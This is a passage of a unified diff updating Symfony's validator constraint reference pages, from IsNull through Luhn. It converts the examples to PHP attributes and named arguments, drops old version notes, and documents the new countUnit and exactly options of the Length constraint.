public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', Assert\IsNull()); } @@ -99,8 +96,4 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst index 2698ad233e9..b50ba4f3e8b 100644 --- a/reference/constraints/IsTrue.rst +++ b/reference/constraints/IsTrue.rst @@ -2,15 +2,12 @@ IsTrue ====== Validates that a value is ``true``. Specifically, this checks if the value is -exactly ``true``, exactly the integer ``1``, or exactly the string ``"1"``. +exactly ``true``, exactly the integer ``1``, or exactly the string ``'1'``. Also see :doc:`IsFalse <IsFalse>`. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\IsTrue` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IsTrueValidator` ========== =================================================================== @@ -28,11 +25,11 @@ you have the following method:: class Author { - protected $token; + protected string $token; - public function isTokenValid() + public function isTokenValid(): bool { - return $this->token == $this->generateToken(); + return $this->token === $this->generateToken(); } } @@ -40,7 +37,7 @@ Then you can validate this method with ``IsTrue`` as follows: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -49,15 +46,15 @@ Then you can validate this method with ``IsTrue`` as follows: class Author { - protected $token; + protected string $token; - /** - * @Assert\IsTrue(message="The token is invalid.") - */ - public function isTokenValid() + #[Assert\IsTrue(message: 'The token is invalid.')] + public function isTokenValid(): bool { - return $this->token == $this->generateToken(); + return $this->token === $this->generateToken(); } + + // ... } .. code-block:: yaml @@ -96,21 +93,27 @@ Then you can validate this method with ``IsTrue`` as follows: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addGetterConstraint('tokenValid', new IsTrue([ - 'message' => 'The token is invalid.', - ])); + $metadata->addGetterConstraint('tokenValid', new IsTrue( + message: 'The token is invalid.', + )); } - public function isTokenValid() + public function isTokenValid(): bool { - return $this->token == $this->generateToken(); + return $this->token === $this->generateToken(); } + + // ... } If the ``isTokenValid()`` returns false, the validation will fail. +.. include:: /reference/constraints/_null-values-are-valid.rst.inc + Options ------- @@ -132,8 +135,4 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst index e30d4e96040..52d10565fe5 100644 --- a/reference/constraints/Isbn.rst +++ b/reference/constraints/Isbn.rst @@ -6,13 +6,6 @@ is either a valid ISBN-10 or a valid ISBN-13. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `bothIsbnMessage`_ - - `groups`_ - - `isbn10Message`_ - - `isbn13Message`_ - - `message`_ - - `payload`_ - - `type`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Isbn` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator` ========== =================================================================== @@ -25,7 +18,7 @@ on an object that will contain an ISBN. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Book.php namespace App\Entity; @@ -34,13 +27,11 @@ on an object that will contain an ISBN. class Book { - /** - * @Assert\Isbn( - * type = "isbn10", - * message = "This value is not valid." - * ) - */ - protected $isbn; + #[Assert\Isbn( + type: Assert\Isbn::ISBN_10, + message: 'This value is not valid.', + )] + protected string $isbn; } .. code-block:: yaml @@ -51,7 +42,7 @@ on an object that will contain an ISBN. isbn: - Isbn: type: isbn10 - message: This value is not valid. + message: This value is not valid. .. code-block:: xml @@ -65,7 +56,7 @@ on an object that will contain an ISBN. <property name="isbn"> <constraint name="Isbn"> <option name="type">isbn10</option> - <option name="message">This value is not valid.</option> + <option name="message">This value is not valid.</option> </constraint> </property> </class> @@ -81,12 +72,14 @@ on an object that will contain an ISBN. class Book { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('isbn', new Assert\Isbn([ - 'type' => 'isbn10', - 'message' => 'This value is not valid.', - ])); + $metadata->addPropertyConstraint('isbn', new Assert\Isbn( + type: Assert\Isbn::ISBN_10, + message: 'This value is not valid.', + )); } } @@ -95,8 +88,8 @@ on an object that will contain an ISBN. Available Options ----------------- -bothIsbnMessage -~~~~~~~~~~~~~~~ +``bothIsbnMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is neither a valid ISBN-10 nor a valid ISBN-13.`` @@ -112,14 +105,10 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_groups-option.rst.inc -isbn10Message -~~~~~~~~~~~~~ +``isbn10Message`` +~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is not a valid ISBN-10.`` @@ -135,12 +124,8 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - -isbn13Message -~~~~~~~~~~~~~ +``isbn13Message`` +~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is not a valid ISBN-13.`` @@ -156,12 +141,8 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``null`` @@ -177,14 +158,10 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc -type -~~~~ +``type`` +~~~~~~~~ **type**: ``string`` **default**: ``null`` diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst index c646f33a53a..d611cf60898 100644 --- a/reference/constraints/Isin.rst +++ b/reference/constraints/Isin.rst @@ -6,9 +6,6 @@ Validates that a value is a valid ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Isin` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IsinValidator` ========== =================================================================== @@ -18,7 +15,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/UnitAccount.php namespace App\Entity; @@ -27,10 +24,8 @@ Basic Usage class UnitAccount { - /** - * @Assert\Isin - */ - protected $isin; + #[Assert\Isin] + protected string $isin; } .. code-block:: yaml @@ -66,7 +61,9 @@ Basic Usage class UnitAccount { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('isin', new Assert\Isin()); } @@ -95,10 +92,6 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc .. _`International Securities Identification Number (ISIN)`: https://en.wikipedia.org/wiki/International_Securities_Identification_Number diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst index 6cc5734aaa2..fa2fbae5bf5 100644 --- a/reference/constraints/Issn.rst +++ b/reference/constraints/Issn.rst @@ -6,11 +6,6 @@ Validates that a value is a valid ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `caseSensitive`_ - - `groups`_ - - `message`_ - - `payload`_ - - `requireHyphen`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Issn` Validator :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator` ========== =================================================================== @@ -20,7 +15,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Journal.php namespace App\Entity; @@ -29,10 +24,8 @@ Basic Usage class Journal { - /** - * @Assert\Issn - */ - protected $issn; + #[Assert\Issn] + protected string $issn; } .. code-block:: yaml @@ -68,7 +61,9 @@ Basic Usage class Journal { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('issn', new Assert\Issn()); } @@ -79,8 +74,8 @@ Basic Usage Options ------- -caseSensitive -~~~~~~~~~~~~~ +``caseSensitive`` +~~~~~~~~~~~~~~~~~ **type**: ``boolean`` default: ``false`` @@ -89,8 +84,8 @@ When switching this to ``true``, the validator requires an upper case 'X'. .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` default: ``This value is not a valid ISSN.`` @@ -105,14 +100,10 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc -requireHyphen -~~~~~~~~~~~~~ +``requireHyphen`` +~~~~~~~~~~~~~~~~~ **type**: ``boolean`` default: ``false`` diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst index 6e8318077da..337b2dc6a1e 100644 --- a/reference/constraints/Json.rst +++ b/reference/constraints/Json.rst @@ -5,8 +5,6 @@ Validates that a value has valid `JSON`_ syntax. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Json` Validator :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator` ========== =================================================================== @@ -18,7 +16,7 @@ The ``Json`` constraint can be applied to a property or a "getter" method: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Book.php namespace App\Entity; @@ -27,12 +25,10 @@ The ``Json`` constraint can be applied to a property or a "getter" method: class Book { - /** - * @Assert\Json( - * message = "You've entered an invalid Json." - * ) - */ - private $chapters; + #[Assert\Json( + message: "You've entered an invalid Json." + )] + private string $chapters; } .. code-block:: yaml @@ -71,19 +67,19 @@ The ``Json`` constraint can be applied to a property or a "getter" method: class Book { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('chapters', new Assert\Json([ - 'message' => 'You\'ve entered an invalid Json.', - ])); + $metadata->addPropertyConstraint('chapters', new Assert\Json( + message: 'You\'ve entered an invalid Json.', + )); } } Options ------- -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should be valid JSON.`` diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst index dac3e2819db..e3752c4d47f 100644 --- a/reference/constraints/Language.rst +++ b/reference/constraints/Language.rst @@ -6,10 +6,6 @@ Validates that a value is a valid language *Unicode language identifier* ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `alpha3`_ - - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Language` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LanguageValidator` ========== =================================================================== @@ -19,7 +15,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -28,10 +24,8 @@ Basic Usage class User { - /** - * @Assert\Language - */ - protected $preferredLanguage; + #[Assert\Language] + protected string $preferredLanguage; } .. code-block:: yaml @@ -67,7 +61,9 @@ Basic Usage class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('preferredLanguage', new Assert\Language()); } @@ -81,14 +77,10 @@ Options alpha3 ~~~~~~ -.. versionadded:: 5.1 - - The ``alpha3`` option was introduced in Symfony 5.1. - **type**: ``boolean`` **default**: ``false`` If this option is ``true``, the constraint checks that the value is a -`ISO 639-2`_ three-letter code (e.g. French = ``fra``) instead of the default +`ISO 639-2 (2T)`_ three-letter code (e.g. French = ``fra``) instead of the default `ISO 639-1`_ two-letter code (e.g. French = ``fr``). .. include:: /reference/constraints/_groups-option.rst.inc @@ -109,11 +101,7 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes -.. _`ISO 639-2`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes +.. _`ISO 639-2 (2T)`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst index 365aedfb585..c1a8575070b 100644 --- a/reference/constraints/Length.rst +++ b/reference/constraints/Length.rst @@ -5,17 +5,6 @@ Validates that a given string length is *between* some minimum and maximum value ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `allowEmptyString`_ - - `charset`_ - - `charsetMessage`_ - - `exactMessage`_ - - `groups`_ - - `max`_ - - `maxMessage`_ - - `min`_ - - `minMessage`_ - - `normalizer`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Length` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator` ========== =================================================================== @@ -23,12 +12,12 @@ Validator :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator` Basic Usage ----------- -To verify that the ``firstName`` field length of a class is between "2" -and "50", you might add the following: +To verify that the ``firstName`` field length of a class is between ``2`` +and ``50``, you might add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Participant.php namespace App\Entity; @@ -37,15 +26,13 @@ and "50", you might add the following: class Participant { - /** - * @Assert\Length( - * min = 2, - * max = 50, - * minMessage = "Your first name must be at least {{ limit }} characters long", - * maxMessage = "Your first name cannot be longer than {{ limit }} characters" - * ) - */ - protected $firstName; + #[Assert\Length( + min: 2, + max: 50, + minMessage: 'Your first name must be at least {{ limit }} characters long', + maxMessage: 'Your first name cannot be longer than {{ limit }} characters', + )] + protected string $firstName; } .. code-block:: yaml @@ -94,44 +81,26 @@ and "50", you might add the following: class Participant { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('firstName', new Assert\Length([ - 'min' => 2, - 'max' => 50, - 'minMessage' => 'Your first name must be at least {{ limit }} characters long', - 'maxMessage' => 'Your first name cannot be longer than {{ limit }} characters', - ])); + $metadata->addPropertyConstraint('firstName', new Assert\Length( + min: 2, + max: 50, + minMessage: 'Your first name must be at least {{ limit }} characters long', + maxMessage: 'Your first name cannot be longer than {{ limit }} characters', + )); } } -.. include:: /reference/constraints/_empty-values-are-valid.rst.inc +.. include:: /reference/constraints/_null-values-are-valid.rst.inc Options ------- -allowEmptyString -~~~~~~~~~~~~~~~~ - -**type**: ``boolean`` **default**: ``false`` - -.. deprecated:: 5.2 - - The ``allowEmptyString`` option is deprecated since Symfony 5.2. If you - want to allow empty strings too, combine the ``Length`` constraint with - the :doc:`Blank constraint </reference/constraints/Blank>` inside the - :doc:`AtLeastOneOf constraint </reference/constraints/AtLeastOneOf>`. - -If set to ``true``, empty strings are considered valid (which is the same -behavior as previous Symfony versions). The default ``false`` value considers -empty strings not valid. - -.. caution:: - - This option does not have any effect when no minimum length is given. - -charset -~~~~~~~ +``charset`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``UTF-8`` @@ -139,8 +108,8 @@ The charset to be used when computing value's length with the :phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen` PHP functions. -charsetMessage -~~~~~~~~~~~~~~ +``charsetMessage`` +~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value does not match the expected {{ charset }} charset.`` @@ -155,8 +124,41 @@ Parameter Description ``{{ value }}`` The current (invalid) value ================= ============================================================ -exactMessage -~~~~~~~~~~~~ +``countUnit`` +~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``Length::COUNT_CODEPOINTS`` + +The character count unit to use for the length check. By default :phpfunction:`mb_strlen` +is used, which counts Unicode code points. + +Can be one of the following constants of the +:class:`Symfony\\Component\\Validator\\Constraints\\Length` class: + +* ``COUNT_BYTES``: Uses :phpfunction:`strlen` counting the length of the string in bytes. +* ``COUNT_CODEPOINTS``: Uses :phpfunction:`mb_strlen` counting the length of the string in Unicode + code points. This was the sole behavior until Symfony 6.2 and is the default since Symfony 6.3. + Simple (multibyte) Unicode characters count as 1 character, while for example ZWJ sequences of + composed emojis count as multiple characters. +* ``COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the length of the string in + graphemes, i.e. even emojis and ZWJ sequences of composed emojis count as 1 character. + +``exactly`` +~~~~~~~~~~~ + +**type**: ``integer`` + +This option is the exact length value. Validation will fail if +the given value's length is not **exactly** equal to this value. + +.. note:: + + This option is the one being set by default when using the Length constraint + without passing any named argument to it. This means that for example, + ``#[Assert\Length(20)]`` and ``#[Assert\Length(exactly: 20)]`` are equivalent. + +``exactMessage`` +~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value should have exactly {{ limit }} characters.`` @@ -165,17 +167,18 @@ value's length is not exactly this value. You can use the following parameters in this message: -================= ============================================================ -Parameter Description -================= ============================================================ -``{{ limit }}`` The exact expected length -``{{ value }}`` The current (invalid) value -================= ============================================================ +====================== ============================================================ +Parameter Description +====================== ============================================================ +``{{ limit }}`` The exact expected length +``{{ value }}`` The current (invalid) value +``{{ value_length }}`` The current value's length +====================== ============================================================ .. include:: /reference/constraints/_groups-option.rst.inc -max -~~~ +``max`` +~~~~~~~ **type**: ``integer`` @@ -184,8 +187,8 @@ the given value's length is **greater** than this max value. This option is required when the ``min`` option is not defined. -maxMessage -~~~~~~~~~~ +``maxMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is too long. It should have {{ limit }} characters or less.`` @@ -194,15 +197,16 @@ than the `max`_ option. You can use the following parameters in this message: -================= ============================================================ -Parameter Description -================= ============================================================ -``{{ limit }}`` The expected maximum length -``{{ value }}`` The current (invalid) value -================= ============================================================ +====================== ============================================================ +Parameter Description +====================== ============================================================ +``{{ limit }}`` The expected maximum length +``{{ value }}`` The current (invalid) value +``{{ value_length }}`` The current value's length +====================== ============================================================ -min -~~~ +``min`` +~~~~~~~ **type**: ``integer`` @@ -211,12 +215,12 @@ the given value's length is **less** than this min value. This option is required when the ``max`` option is not defined. -It is important to notice that NULL values and empty strings are considered -valid no matter if the constraint required a minimum length. Validators -are triggered only if the value is not blank. +It is important to notice that ``null`` values are considered +valid no matter if the constraint requires a minimum length. Validators +are triggered only if the value is not ``null``. -minMessage -~~~~~~~~~~ +``minMessage`` +~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is too short. It should have {{ limit }} characters or more.`` @@ -225,12 +229,13 @@ than the `min`_ option. You can use the following parameters in this message: -================= ============================================================ -Parameter Description -================= ============================================================ -``{{ limit }}`` The expected minimum length -``{{ value }}`` The current (invalid) value -================= ============================================================ +====================== ============================================================ +Parameter Description +====================== ============================================================ +``{{ limit }}`` The expected minimum length +``{{ value }}`` The current (invalid) value +``{{ value_length }}`` The current value's length +====================== ============================================================ .. include:: /reference/constraints/_normalizer-option.rst.inc diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst index abd0aab721c..3d23bcda445 100644 --- a/reference/constraints/LessThan.rst +++ b/reference/constraints/LessThan.rst @@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/GreaterThan`. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\LessThan` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator` ========== =================================================================== @@ -27,7 +22,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -36,17 +31,13 @@ The following constraints ensure that: class Person { - /** - * @Assert\LessThan(5) - */ - protected $siblings; - - /** - * @Assert\LessThan( - * value = 80 - * ) - */ - protected $age; + #[Assert\LessThan(5)] + protected int $siblings; + + #[Assert\LessThan( + value: 80, + )] + protected int $age; } .. code-block:: yaml @@ -92,13 +83,15 @@ The following constraints ensure that: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('siblings', new Assert\LessThan(5)); - $metadata->addPropertyConstraint('age', new Assert\LessThan([ - 'value' => 80, - ])); + $metadata->addPropertyConstraint('age', new Assert\LessThan( + value: 80, + )); } } @@ -111,7 +104,7 @@ that a date must be in the past like this: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -120,10 +113,8 @@ that a date must be in the past like this: class Person { - /** - * @Assert\LessThan("today") - */ - protected $dateOfBirth; + #[Assert\LessThan('today')] + protected \DateTimeInterface $dateOfBirth; } .. code-block:: yaml @@ -159,7 +150,9 @@ that a date must be in the past like this: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThan('today')); } @@ -170,7 +163,7 @@ dates. If you want to fix the timezone, append it to the date string: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -179,10 +172,8 @@ dates. If you want to fix the timezone, append it to the date string: class Person { - /** - * @Assert\LessThan("today UTC") - */ - protected $dateOfBirth; + #[Assert\LessThan('today UTC')] + protected \DateTimeInterface $dateOfBirth; } .. code-block:: yaml @@ -218,7 +209,9 @@ dates. If you want to fix the timezone, append it to the date string: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('age', new Assert\LessThan('today UTC')); } @@ -229,7 +222,7 @@ can check that a person must be at least 18 years old like this: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -238,10 +231,8 @@ can check that a person must be at least 18 years old like this: class Person { - /** - * @Assert\LessThan("-18 years") - */ - protected $dateOfBirth; + #[Assert\LessThan('-18 years')] + protected \DateTimeInterface $dateOfBirth; } .. code-block:: yaml @@ -277,7 +268,9 @@ can check that a person must be at least 18 years old like this: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThan('-18 years')); } diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst index 42ec3e939e5..ac66c62d7d0 100644 --- a/reference/constraints/LessThanOrEqual.rst +++ b/reference/constraints/LessThanOrEqual.rst @@ -7,11 +7,6 @@ options. To force that a value is less than another value, see ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator` ========== =================================================================== @@ -26,7 +21,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -35,17 +30,13 @@ The following constraints ensure that: class Person { - /** - * @Assert\LessThanOrEqual(5) - */ - protected $siblings; - - /** - * @Assert\LessThanOrEqual( - * value = 80 - * ) - */ - protected $age; + #[Assert\LessThanOrEqual(5)] + protected int $siblings; + + #[Assert\LessThanOrEqual( + value: 80, + )] + protected int $age; } .. code-block:: yaml @@ -91,13 +82,15 @@ The following constraints ensure that: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('siblings', new Assert\LessThanOrEqual(5)); - $metadata->addPropertyConstraint('age', new Assert\LessThanOrEqual([ - 'value' => 80, - ])); + $metadata->addPropertyConstraint('age', new Assert\LessThanOrEqual( + value: 80, + )); } } @@ -110,7 +103,7 @@ that a date must be today or in the past like this: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -119,10 +112,8 @@ that a date must be today or in the past like this: class Person { - /** - * @Assert\LessThanOrEqual("today") - */ - protected $dateOfBirth; + #[Assert\LessThanOrEqual('today')] + protected \DateTimeInterface $dateOfBirth; } .. code-block:: yaml @@ -158,7 +149,9 @@ that a date must be today or in the past like this: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('today')); } @@ -169,7 +162,7 @@ dates. If you want to fix the timezone, append it to the date string: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -178,10 +171,8 @@ dates. If you want to fix the timezone, append it to the date string: class Person { - /** - * @Assert\LessThanOrEqual("today UTC") - */ - protected $dateOfBirth; + #[Assert\LessThanOrEqual('today UTC')] + protected \DateTimeInterface $dateOfBirth; } .. code-block:: yaml @@ -217,7 +208,9 @@ dates. If you want to fix the timezone, append it to the date string: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('today UTC')); } @@ -228,7 +221,7 @@ can check that a person must be at least 18 years old like this: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -237,10 +230,8 @@ can check that a person must be at least 18 years old like this: class Person { - /** - * @Assert\LessThanOrEqual("-18 years") - */ - protected $dateOfBirth; + #[Assert\LessThanOrEqual('-18 years')] + protected \DateTimeInterface $dateOfBirth; } .. code-block:: yaml @@ -276,7 +267,9 @@ can check that a person must be at least 18 years old like this: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('-18 years')); } diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst index f5f381629e3..4bba45ae12b 100644 --- a/reference/constraints/Locale.rst +++ b/reference/constraints/Locale.rst @@ -14,9 +14,6 @@ issues with wrong uppercase/lowercase values and to remove unneeded elements ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Locale` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LocaleValidator` ========== =================================================================== @@ -26,7 +23,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -35,12 +32,10 @@ Basic Usage class User { - /** - * @Assert\Locale( - * canonicalize = true - * ) - */ - protected $locale; + #[Assert\Locale( + canonicalize: true, + )] + protected string $locale; } .. code-block:: yaml @@ -79,11 +74,13 @@ Basic Usage class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('locale', new Assert\Locale([ - 'canonicalize' => true, - ])); + $metadata->addPropertyConstraint('locale', new Assert\Locale( + canonicalize: true, + )); } } @@ -110,12 +107,8 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - .. include:: /reference/constraints/_payload-option.rst.inc -.. _`ICU format locale IDs`: http://userguide.icu-project.org/locale +.. _`ICU format locale IDs`: https://unicode-org.github.io/icu/userguide/locale/ .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst index 2bee41d5f2c..0c835204091 100644 --- a/reference/constraints/Luhn.rst +++ b/reference/constraints/Luhn.rst @@ -7,9 +7,6 @@ card: before communicating with a payment gateway. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Luhn` Validator :class:`Symfony\\Component\\Validator\\Constraints\\LuhnValidator` ========== =================================================================== @@ -22,7 +19,7 @@ will contain a credit card number. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Transaction.php namespace App\Entity; @@ -31,10 +28,8 @@ will contain a credit card number. class Transaction { - /** - * @Assert\Luhn(message="Please check your credit card number.") - */ - protected $cardNumber; + #[Assert\Luhn(message: 'Please check your credit card number.')] + protected string $cardNumber; } .. code-block:: yaml @@ -73,11 +68,13 @@ will contain a credit card number. class Transaction { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - 